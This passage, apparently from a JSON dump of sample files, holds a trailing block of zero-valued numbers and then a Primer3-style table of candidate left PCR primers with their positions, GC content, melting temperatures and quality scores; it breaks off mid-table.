0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n"
  },
  {
    "path": "samples/Formatted/long_seq.for",
    "content": "ACCEPTABLE LEFT PRIMERS\n                                  1-based     #                self   self hair-  qual-\n   # sequence                       start ln  N   GC%     Tm any_th end_th   pin   lity\n   0 tgctagctaggcgatgctag             411 20  0 55.00 60.028 23.16 23.16 38.59  0.028\n   1 actgatacgcgatgctagct             476 20  0 50.00 59.957 17.69  1.35  0.00  0.043\n   2 gatcgatgctagctaggcga             405 20  0 55.00 60.100 16.30 16.30  0.00  0.100\n   3 tcgatcgatgctagctaggc             403 20  0 55.00 60.100 18.63  8.45  0.00  0.100\n   4 tagctgatcgatcgtagcgg             565 20  0 55.00 60.101 25.02 17.36  0.00  0.101\n   5 gctgactgatcgatcgatgc             113 20  0 55.00 59.826 24.08 17.09 35.21  0.174\n   6 tatcatctctgcgcgatcga             361 20  0 50.00 59.747 22.07  1.72 38.48  0.253\n   7 agctaggcgatgctagctag             415 20  0 55.00 59.742 17.46 17.46 41.54  0.258\n   8 ctagctaggcgatgctagct             413 20  0 55.00 59.742 18.68 17.35 43.53  0.258\n   9 ggcgatctagctagctgact             583 20  0 55.00 59.671 17.44  7.44 37.58  0.329\n  10 tcgatgctagctaggcgatg             407 20  0 55.00 60.382 14.03  0.00  0.00  0.382\n  11 gctgatcgatcgatgctagc             398 20  0 55.00 59.618 25.97 24.79 35.21  0.382\n  12 gctagctgatcgatcgatgc             394 20  0 55.00 59.618 24.08 21.09 35.21  0.382\n  13 atcatctctgcgcgatcgat             362 20  0 50.00 60.382 22.07  5.02 38.48  0.382\n  14 gactgatacgcgatgctagc             475 20  0 55.00 59.551  8.61  8.61  0.00  0.449\n  15 atcgatgctagctaggcgat             406 20  0 50.00 59.452 18.43 18.43  0.00  0.548\n  16 gctagctgactgatacgcga             468 20  0 55.00 60.589 16.29  0.00  0.00  0.589\n  17 agctagctgactgatacgcg             467 20  0 55.00 60.590 17.99  3.89  0.00  0.590\n  18 atgctagctaggcgatgcta             410 20  0 50.00 59.375 10.59  8.91  0.00  0.625\n  19 ctatcatctctgcgcgatcg             360 20  0 55.00 59.347 12.19 12.19 39.07  0.653\n  20 gatgctagctaggcgatgct             409 20  0 55.00 60.668  7.01  7.53  0.00  0.668\n  21 gctactatcatctctgcgcg             356 20  0 55.00 59.273  0.00  0.00  0.00  0.727\n  22 cgtagcggcgatctagctag             577 20  0 60.00 60.791 15.64 15.64 37.58  0.791\n  23 cggcgatctagctagctgac             582 20  0 60.00 61.003 14.84  7.25 38.70  1.003\n  24 gctagctgatcgatcgtagc             563 20  0 55.00 58.995 23.70 23.70  0.00  1.005\n  25 gatcgatcgatgtgcggcta              81 20  0 55.00 61.006 19.16  0.00 41.65  1.006\n  26 atcgatcgatgtgcggctag              82 20  0 55.00 61.008 29.65  0.00 41.65  1.008\n  27 gctgactgatacgcgatgc              472 19  0 57.89 60.025  0.00  0.00  0.00  1.025\n  28 agctagctgatcatcgatgct            190 21  0 47.62 60.035 17.99 11.09  0.00  1.035\n  29 gctagctagctgactgatcga            105 21  0 52.38 60.037 34.38  0.00 46.11  1.037\n  30 tcatctctgcgcgatcgat              363 19  0 52.63 59.946 22.07  0.12 38.48  1.054\n  31 atcatctctgcgcgatcga              362 19  0 52.63 59.946 22.07  1.72 38.48  1.054\n  32 atcgatcgatgtgcggcta               82 19  0 52.63 59.945 29.65  0.00 41.65  1.055\n  33 gtagcggcgatctagctagc             578 20  0 60.00 61.071 16.97  7.15 39.86  1.071\n  34 gctagctgactgatcgatcg             109 20  0 55.00 58.924 16.84 13.89  0.00  1.076\n  35 gctgatcgatcgatgtgcg               78 19  0 57.89 60.097 29.87 18.15 42.69  1.097\n  36 tatcatctctgcgcgatcgat            361 21  0 47.62 60.172 22.07 11.47 38.48  1.172\n  37 gctagctagctgatcgatcga            390 21  0 52.38 60.172 34.38 22.52 46.11  1.172\n  38 gctagctagctgatcgatcga             70 21  0 52.38 60.172 34.38 22.52 46.11  1.172\n  39 catctctgcgcgatcgatg              364 19  0 57.89 59.810 13.74 13.74 38.48  1.190\n  40 tcgtagcggcgatctagcta             576 20  0 55.00 61.231 11.55  9.27 36.40  1.231\n  41 actgatacgcgatgctagcta            476 21  0 47.62 59.765 17.69  3.08  0.00  1.235\n  42 actgatcgatcgatgctagct            117 21  0 47.62 59.763 23.29 11.70 35.21  1.237\n  43 agctagctgatcgatcgatgt             73 21  0 47.62 59.763 17.99  2.62 35.21  1.237\n  44 tagcggcgatctagctagct             579 20  0 55.00 61.243 23.74 23.74 46.60  1.243\n  45 cgtagcggcgatctagcta              577 19  0 57.89 59.729 11.55  9.27 37.58  1.271\n  46 ctagctgatcgatcgtagcg             564 20  0 55.00 58.727 25.02 15.05  0.00  1.273\n  47 tagcggcgatctagctagc              579 19  0 57.89 59.725 16.97  9.14 39.86  1.275\n  48 catcgatcgatgcatgcatg             442 20  0 50.00 58.722 37.80 23.31 44.93  1.278\n  49 tcatctctgcgcgatcgatg             363 20  0 55.00 61.279 18.01 18.01 38.48  1.279\n  50 gctagctagctgatcgatcg             559 20  0 55.00 58.714 34.38 11.90 46.11  1.286\n  51 gctagctagctgatcgatcg             390 20  0 55.00 58.714 34.38 11.90 46.11  1.286\n  52 gctagctagctgatcgatcg              70 20  0 55.00 58.714 34.38 11.90 46.11  1.286\n  53 agcatcggattagctagctga              3 21  0 47.62 59.689 28.29 20.88  0.00  1.311\n  54 agctgatcgatcgtagcgg              566 19  0 57.89 60.315 25.02 17.36  0.00  1.315\n  55 cggcgatctagctagctga              582 19  0 57.89 59.650 21.57 16.66 38.70  1.350\n  56 ctagctgatcgatcgatgtgc             75 21  0 52.38 59.643 31.83 30.04 35.21  1.357\n  57 gctagctgatcgatcgatgtg             74 21  0 52.38 59.643 12.06  6.93 35.21  1.357\n  58 gctagctaggcgatgctagc             412 20  0 60.00 61.357 30.41 30.41 46.19  1.357\n  59 tagctagctgactgatacgcg            466 21  0 52.38 60.373 28.29  3.89  0.00  1.373\n  60 gctagctgactgatcgatcga            109 21  0 52.38 60.374 22.52 22.52  0.00  1.374\n  61 agctagctgactgatcgatcg            108 21  0 52.38 60.374 17.99 13.89  0.00  1.374\n  62 cgatcgatgctagctaggcg             404 20  0 60.00 61.409 15.59  9.14  0.00  1.409\n  63 gctagctagctgactgatcg             105 20  0 55.00 58.563 34.38  1.84 46.11  1.437\n  64 atgctagctaggcgatgct              410 19  0 52.63 59.561 10.59  7.53  0.00  1.439\n  65 agctagctgatcgatcgtagc            562 21  0 52.38 60.441 26.87 26.87  0.00  1.441\n  66 gctagctagctgatcgatcgt            559 21  0 52.38 60.441 34.38  2.65 46.11  1.441\n  67 tagctaggcgatgctagctag            414 21  0 52.38 59.559 18.42 17.46 42.44  1.441\n  68 ctagctaggcgatgctagcta            413 21  0 52.38 59.559 18.69 17.64 42.44  1.441\n  69 tagctgatcgatcgatgtgc              76 20  0 50.00 58.558 31.83 30.04 35.21  1.442\n  70 gatgctagctaggcgatgcta            409 21  0 52.38 60.444  9.82  8.91  0.00  1.444\n  71 atgctagctaggcgatgctag            410 21  0 52.38 60.444 23.16 23.16 38.59  1.444\n  72 gctagctgatcatcgatgct             191 20  0 50.00 58.539 16.29 12.14  0.00  1.461\n  73 agctagctgatcatcgatgc             190 20  0 50.00 58.539 21.42  9.22  0.00  1.461\n  74 gctgactgatacgcgatgct             472 20  0 55.00 61.494  2.33  0.00  0.00  1.494\n  75 agctgactgatacgcgatgc             471 20  0 55.00 61.494  3.47  0.00  0.00  1.494\n  76 ggcgatctagctagctgacta            583 21  0 52.38 59.491 17.44  5.40 37.58  1.509\n  77 gatcgatgctagctaggcgat            405 21  0 52.38 60.510 21.61 21.61  0.00  1.510\n  78 atcgatcgatgctagctaggc            402 21  0 52.38 60.510 29.65  8.45 33.56  1.510\n  79 ctgatcgatcgatgtgcgg               79 19  0 57.89 59.447 15.54  5.83 41.65  1.553\n  80 agctgatcgatcgatgtgcg              77 20  0 55.00 61.556 31.92 20.26 42.69  1.556\n  81 cgatcatcgatgctagctagc            548 21  0 52.38 59.444 34.89 34.89 46.99  1.556\n  82 tagctaggcgatgctagcta             414 20  0 50.00 58.433 19.37 17.81 42.44  1.567\n  83 agctagctactgatcgatgct            303 21  0 47.62 59.415 17.56 11.51  0.00  1.585\n  84 tcgatcgatgtgcggctag               83 19  0 57.89 60.606 18.63  0.00 41.65  1.606\n  85 gactgatcgatcgatgctagc            116 21  0 52.38 59.378 15.86  8.45 35.21  1.622\n  86 agctagctgactgatcgatca            260 21  0 47.62 59.347 26.99 26.99 35.44  1.653\n  87 ctgactgatacgcgatgctag            473 21  0 52.38 59.312  1.70  0.00  0.00  1.688\n  88 ctagctgactgatacgcgatg            469 21  0 52.38 59.312  0.00  0.00  0.00  1.688\n  89 gctactatcatctctgcgcga            356 21  0 52.38 60.707  2.71  2.71  0.00  1.707\n  90 agctactatcatctctgcgcg            355 21  0 52.38 60.709  0.00  0.00  0.00  1.709\n  91 actatcatctctgcgcgatc             359 20  0 50.00 58.270  4.99  0.00  0.00  1.730\n  92 actgatcgatcgatgctagc             117 20  0 50.00 58.270 23.29 13.61 35.21  1.730\n  93 gctagctgatcgatcgatgt              74 20  0 50.00 58.270 14.29  2.62 35.21  1.730\n  94 ctatcatctctgcgcgatcga            360 21  0 52.38 60.771 22.07  1.72 38.48  1.771\n  95 atcgatgctagctaggcgatg            406 21  0 52.38 60.779 21.16  4.37  0.00  1.779\n  96 tgactgatacgcgatgctag             474 20  0 50.00 58.207  1.70  0.00  0.00  1.793\n  97 ctgactgatacgcgatgcta             473 20  0 50.00 58.207  2.33  0.00  0.00  1.793\n  98 tagctgactgatacgcgatg             470 20  0 50.00 58.207  0.00  0.00  0.00  1.793\n  99 ctgactgatcgatcgatgct             114 20  0 50.00 58.197 26.44 12.40 35.21  1.803\n 100 agctgactgatcgatcgatg             112 20  0 50.00 58.197 23.05 13.21 35.21  1.803\n 101 tcggattagctagctgatgc               7 20  0 50.00 58.176 17.46 17.46 40.05  1.824\n 102 gcatcggattagctagctga               4 20  0 50.00 58.176 28.29 20.88  0.00  1.824\n 103 agcatcggattagctagctg               3 20  0 50.00 58.171 28.29 10.80  0.00  1.829\n 104 gatgctagctaggcgatgc              409 19  0 57.89 59.141  4.18  0.00  0.00  1.859\n 105 ctgatacgcgatgctagctag            477 21  0 52.38 59.113 17.46 17.46  0.00  1.887\n 106 gctagctgactgatacgcg              468 19  0 57.89 59.086  8.21  3.89  0.00  1.914\n 107 ctctgcgcgatcgatgctag             367 20  0 60.00 61.946 21.94 18.16 38.48  1.946\n 108 tctgcgcgatcgatgctag              368 19  0 57.89 60.966 21.94 18.16 38.48  1.966\n 109 ctctgcgcgatcgatgcta              367 19  0 57.89 60.966 26.61 17.10 38.48  1.966\n 110 cgatgctagctaggcgatgc             408 20  0 60.00 61.968 11.09  0.00  0.00  1.968\n 111 gactgatacgcgatgctagct            475 21  0 52.38 60.975 17.69  1.35  0.00  1.975\n 112 gctagctgactgatacgcgat            468 21  0 52.38 60.975  8.21  0.00  0.00  1.975\n 113 tgatacgcgatgctagctag             478 20  0 50.00 57.994 17.46 17.46  0.00  2.006\n 114 ctgatacgcgatgctagcta             477 20  0 50.00 57.994 17.69  3.08  0.00  2.006\n 115 cgcgatcgatgctagctagc             372 20  0 60.00 62.011 34.89 34.89 43.67  2.011\n 116 gcgcgatcgatgctagctag             371 20  0 60.00 62.011 21.66 17.46 38.48  2.011\n 117 ctgatcgatcgatgctagct             399 20  0 50.00 57.983 19.70  2.01 35.21  2.017\n 118 agctgatcgatcgatgctag             397 20  0 50.00 57.983 27.33 18.05 34.69  2.017\n 119 ctagctgatcgatcgatgct             395 20  0 50.00 57.983 33.87 33.38 38.16  2.017\n 120 agctagctgatcgatcgatg             393 20  0 50.00 57.983 21.99 11.03 35.21  2.017\n 121 ctgatcgatcgatgctagct             118 20  0 50.00 57.983 19.70  2.01 35.21  2.017\n 122 agctagctgatcgatcgatg              73 20  0 50.00 57.983 21.99 11.03 35.21  2.017\n 123 catcggattagctagctgatgc             5 22  0 50.00 59.982 24.41 24.41 40.05  2.018\n 124 gcatcggattagctagctgatg             4 22  0 50.00 59.982 27.81 27.81 33.28  2.018\n 125 tcgatgctagctaggcgat              407 19  0 52.63 58.964 14.03  3.01  0.00  2.036\n 126 atcgatgctagctaggcga              406 19  0 52.63 58.964 16.30 16.30  0.00  2.036\n 127 actatcatctctgcgcgatcg            359 21  0 52.38 61.037 12.19 12.19 39.07  2.037\n 128 gcgcgatcgatgctagcta              371 19  0 57.89 61.037 21.66  3.08 38.48  2.037\n 129 gctgatcgatcgatgctagct            398 21  0 52.38 61.044 27.88 12.70 35.21  2.044\n 130 agctgatcgatcgatgctagc            397 21  0 52.38 61.044 27.33 27.90 34.69  2.044\n 131 gctagctgatcgatcgatgct            394 21  0 52.38 61.044 33.87 33.38 38.16  2.044\n 132 agctagctgatcgatcgatgc            393 21  0 52.38 61.044 24.08 21.09 35.21  2.044\n 133 cgcgatcgatgctagctag              372 19  0 57.89 58.947 22.07 17.46 38.48  2.053\n 134 tcgtagcggcgatctagc               576 18  0 61.11 59.936  4.70  0.00 36.40  2.064\n 135 cgtagcggcgatctagct               577 18  0 61.11 59.935 11.03 11.03 37.58  2.065\n 136 gcggcgatctagctagct               581 18  0 61.11 59.933 23.74 23.74 38.05  2.067\n 137 agcggcgatctagctagc               580 18  0 61.11 59.933 16.97  7.15 39.86  2.067\n 138 ctagctgactgatacgcgat             469 20  0 50.00 57.918  1.43  0.00  0.00  2.082\n 139 ctagctgatcgatcgtagcgg            564 21  0 57.14 61.096 20.31 16.15  0.00  2.096\n 140 agctactatcatctctgcgc             355 20  0 50.00 57.898  0.00  0.00  0.00  2.102\n 141 gctagctactgatcgatgct             304 20  0 50.00 57.898 11.51 11.51  0.00  2.102\n 142 agctagctactgatcgatgc             303 20  0 50.00 57.898 17.56  1.76  0.00  2.102\n 143 agcatcggattagctagctgat             3 22  0 45.45 60.108 17.84 15.13  0.00  2.108\n 144 tgctagctaggcgatgcta              411 19  0 52.63 58.881 17.69  8.91  0.00  2.119\n 145 aagcatcggattagctagctg              2 21  0 47.62 58.879 28.29 10.80  0.00  2.121\n 146 tctgcgcgatcgatgcta               368 18  0 55.56 59.857 26.61 16.13 38.48  2.143\n 147 cgatgctagctaggcgatg              408 19  0 57.89 58.856 11.09  0.00  0.00  2.144\n 148 agctagctgatcatcgatgcta           190 22  0 45.45 59.845 17.99 13.09  0.00  2.155\n 149 tagctagctgatcatcgatgct           189 22  0 45.45 59.845 16.29 15.30  0.00  2.155\n 150 atcgatcgatgtgcggct                82 18  0 55.56 60.166 29.65  4.36 41.65  2.166\n 151 gctagctgactgatcgatca             261 20  0 50.00 57.829 26.99 26.99 35.44  2.171\n 152 tagctagctgactgatcgatcg           107 22  0 50.00 60.174 28.29 13.89  0.00  2.174\n 153 agctgatcatcatcgatgct             515 20  0 45.00 57.788 11.25  0.72 40.32  2.212\n 154 agctagctgactgatcgatcat           260 22  0 45.45 59.778 26.67 18.02 36.62  2.222\n 155 tgactgatacgcgatgctagc            474 21  0 52.38 61.238  8.61  8.61  0.00  2.238\n 156 gctgactgatacgcgatgcta            472 21  0 52.38 61.238  2.33  0.00  0.00  2.238\n 157 tagctgactgatacgcgatgc            470 21  0 52.38 61.238  3.47  0.00  0.00  2.238\n 158 tagctagctgatcgatcgtagc           561 22  0 50.00 60.238 26.87 26.87  0.00  2.238\n 159 gctagctagctgatcgatcgta           559 22  0 50.00 60.238 34.38  3.07 46.11  2.238\n 160 tgatcgatcgatgctagctagg           400 22  0 50.00 60.239 26.44  6.29 35.21  2.239\n 161 gctgactgatcgatcgatgct            113 21  0 52.38 61.244 26.44 12.40 35.21  2.244\n 162 agctgactgatcgatcgatgc            112 21  0 52.38 61.244 24.08 19.43 35.21  2.244\n 163 gatcgatcgatgtgcggct               81 19  0 57.89 61.263 19.16  0.00 41.65  2.263\n 164 gctgatcatcgatgctactagc           195 22  0 50.00 59.727 18.08 16.44 45.61  2.273\n 165 gctagctgatcatcgatgctac           191 22  0 50.00 59.727  9.57  5.47  0.00  2.273\n 166 gatcgatcgatgtgcggc                81 18  0 61.11 59.714 18.10  0.95 41.65  2.286\n 167 ctagctagctgactgatacgc            465 21  0 52.38 58.703 14.90  0.00  0.00  2.297\n 168 tagctgatcgatcgatgtgcg             76 21  0 52.38 61.299 31.92 20.26 42.69  2.299\n 169 agctgatcgatcgatgtgc               77 19  0 52.63 58.698 31.83 30.04 35.21  2.302\n 170 gctgatcatcatcgatgctagc           516 22  0 50.00 60.302 10.80 10.34 40.32  2.302\n 171 gctagctgatcatcatcgatgc           512 22  0 50.00 60.302 21.42  7.40 40.32  2.302\n 172 aagcatcggattagctagctga             2 22  0 45.45 60.306 28.29 20.88  0.00  2.306\n 173 gatcgatcgtagcggcga               570 18  0 61.11 60.318 13.01  8.51 45.59  2.318\n 174 atcggattagctagctgatgc              6 21  0 47.62 58.673 17.46 17.46 40.05  2.327\n 175 gcatcggattagctagctgat              4 21  0 47.62 58.673 17.84 15.13  0.00  2.327\n 176 gcggcgatctagctagctg              581 19  0 63.16 61.329 17.07  8.17 38.05  2.329\n 177 tgctagtgatgcatgctagt              24 20  0 45.00 57.636 24.96 11.17 35.89  2.364\n 178 ctactatcatctctgcgcga             357 20  0 50.00 57.636  2.71  2.71  0.00  2.364\n 179 actagctagctgactgatacgc           464 22  0 50.00 60.368 21.52  0.00  0.00  2.368\n 180 gctagctagctgatcatcga             187 20  0 50.00 57.613 34.38  0.24 46.11  2.387\n 181 tctctgcgcgatcgatgcta             366 20  0 55.00 62.413 26.61 17.10 38.48  2.413\n 182 tgatcgatcgatgctagctagt           119 22  0 45.45 59.586 26.44  5.69 35.21  2.414\n 183 actgatcgatcgatgctagcta           117 22  0 45.45 59.586 23.29  7.65 35.21  2.414\n 184 tagctagctgatcgatcgatgt            72 22  0 45.45 59.586 14.29  2.62 35.21  2.414\n 185 agctaggcgatgctagcta              415 19  0 52.63 58.572 17.69  3.08 41.54  2.428\n 186 tagctaggcgatgctagct              414 19  0 52.63 58.572 17.35 17.35 43.53  2.428\n 187 gatcgatcgatgctagctagg            401 21  0 52.38 58.567 23.89  6.29 35.21  2.433\n 188 gctagctagctgactgatcgat           105 22  0 50.00 60.434 34.38  0.00 46.11  2.434\n 189 gatcgatgctagctaggcg              405 19  0 57.89 58.563 15.59  9.02  0.00  2.437\n 190 cgatcgatgctagctaggc              404 19  0 57.89 58.563 14.87  8.45  0.00  2.437\n 191 tagctagctgactgatacgc             466 20  0 50.00 57.549 28.29  0.00  0.00  2.451\n 192 agctagctgactgatcgatc             260 20  0 50.00 57.536 19.32 19.32  0.00  2.464\n 193 agctagctgactgatcgatc             108 20  0 50.00 57.536 19.32 19.32  0.00  2.464\n 194 aaagcatcggattagctagctg             1 22  0 45.45 59.524 28.29 10.80  0.00  2.476\n 195 gctgactgatcgatcatcatgc           265 22  0 50.00 60.493 25.66 25.12 41.77  2.493\n 196 tagctactatcatctctgcgcg           354 22  0 50.00 60.495  0.00  0.00  0.00  2.495\n 197 ctgatcgatcgatgtgcggc              79 20  0 60.00 62.497 15.54  4.15 41.65  2.497\n 198 gctgatcgatcgatgtgcgg              78 20  0 60.00 62.497 29.87 22.23 41.65  2.497\n 199 tcgtagcggcgatctagct              576 19  0 57.89 61.503 11.03 11.03 36.40  2.503\n 200 agcggcgatctagctagct              580 19  0 57.89 61.519 23.74 23.74 42.96  2.519\n 201 ctagctagctgatcatcgatgc           188 22  0 50.00 59.470 21.42  9.22  0.00  2.530\n 202 gctagctagctgatcatcgatg           187 22  0 50.00 59.470 34.38 20.23 46.11  2.530\n 203 tcatctctgcgcgatcga               363 18  0 55.56 59.468 22.07  0.00 38.48  2.532\n 204 tcgatcgatgtgcggcta                83 18  0 55.56 59.465 18.63  0.00 41.65  2.535\n 205 tgatcgatcgatgtgcggc               80 19  0 57.89 61.549 21.27  8.44 41.65  2.549\n 206 ctagctaggcgatgctagctag           413 22  0 54.55 60.561 22.99 22.99 46.84  2.561\n 207 gctagctagctgatcgatcgat           390 22  0 50.00 60.561 34.38 30.53 46.11  2.561\n 208 gctagctagctgatcgatcgat            70 22  0 50.00 60.561 34.38 30.53 46.11  2.561\n 209 ctgcgcgatcgatgctag               369 18  0 61.11 59.415 19.79 13.97 38.48  2.585\n 210 aagcatcggattagctagct               2 20  0 45.00 57.413 23.74 23.74  0.00  2.587\n 211 gctagctgatcatcgatgcta            191 21  0 47.62 58.410 16.61 13.09  0.00  2.590\n 212 tagctagctgatcatcgatgc            189 21  0 47.62 58.410 21.42  9.22  0.00  2.590\n 213 actgatacgcgatgctagc              476 19  0 52.63 58.407  8.61  8.61  0.00  2.593\n 214 gctagctgactgatcgatcatc           261 22  0 50.00 59.406 23.93 21.92 36.62  2.594\n 215 atcgatcgatgctagctagg             402 20  0 50.00 57.396 29.65  6.29 33.56  2.604\n 216 atctctgcgcgatcgatgc              365 19  0 57.89 61.618 22.01 22.01 38.48  2.618\n 217 tgatcgatcgtagcggcg               569 18  0 61.11 60.621 20.58  0.86  0.00  2.621\n 218 atcatctctgcgcgatcgatg            362 21  0 52.38 61.633 18.01 18.01 38.48  2.633\n 219 agctagctgatcgatcgtag             562 20  0 50.00 57.344 17.99 16.86  0.00  2.656\n 220 ctagctagctgatcgatcgt             560 20  0 50.00 57.344 16.40  2.65  0.00  2.656\n 221 gctagctgactgatcgatcat            261 21  0 47.62 58.339 26.67 18.02 36.62  2.661\n 222 ctgatcgatcgtagcggcg              568 19  0 63.16 61.664 14.21  0.86  0.00  2.664\n 223 ctgactgatacgcgatgct              473 19  0 52.63 58.330  2.33  0.00  0.00  2.670\n 224 agctgactgatacgcgatg              471 19  0 52.63 58.330  0.00  0.00  0.00  2.670\n 225 gctagctgatcgatcgtagcg            563 21  0 57.14 61.676 24.18 16.49  0.00  2.676\n 226 ctagctgactgatcgatcga             110 20  0 50.00 57.276 22.52 22.52  0.00  2.724\n 227 agctagctactgatcgatgcta           303 22  0 45.45 59.252 17.56 12.23  0.00  2.748\n 228 tagctagctactgatcgatgct           302 22  0 45.45 59.252 27.80 11.51  0.00  2.748\n 229 gactgatacgcgatgctagcta           475 22  0 50.00 60.751 17.69  3.08  0.00  2.751\n 230 actgatacgcgatgctagctag           476 22  0 50.00 60.752 17.46 17.46  0.00  2.752\n 231 gactgatcgatcgatgctagct           116 22  0 50.00 60.753 18.04  9.56 35.21  2.753\n 232 gctagctgactgatcgatcgat           109 22  0 50.00 60.753 30.53 30.53 37.90  2.753\n 233 tgcgcgatcgatgctagcta             370 20  0 55.00 62.756 26.61  9.85 38.48  2.756\n 234 gcggcgatctagctagctga             581 20  0 60.00 62.765 21.57 16.66 38.70  2.765\n 235 agcggcgatctagctagctg             580 20  0 60.00 62.771 17.07  8.17 44.87  2.771\n 236 ctactatcatctctgcgcgatc           357 22  0 50.00 59.220  4.99  0.00  0.00  2.780\n 237 tatcatctctgcgcgatcg              361 19  0 52.63 58.199 12.19 12.19 39.07  2.801\n 238 tactatcatctctgcgcgatcg           358 22  0 50.00 60.811 12.19 12.19 39.07  2.811\n 239 tagctagctgactgatcgatca           259 22  0 45.45 59.187 28.29 26.99 35.44  2.813\n 240 gctgatcgatcgatgctagcta           398 22  0 50.00 60.816 27.88 12.57 35.21  2.816\n 241 tagctgatcgatcgatgctagc           396 22  0 50.00 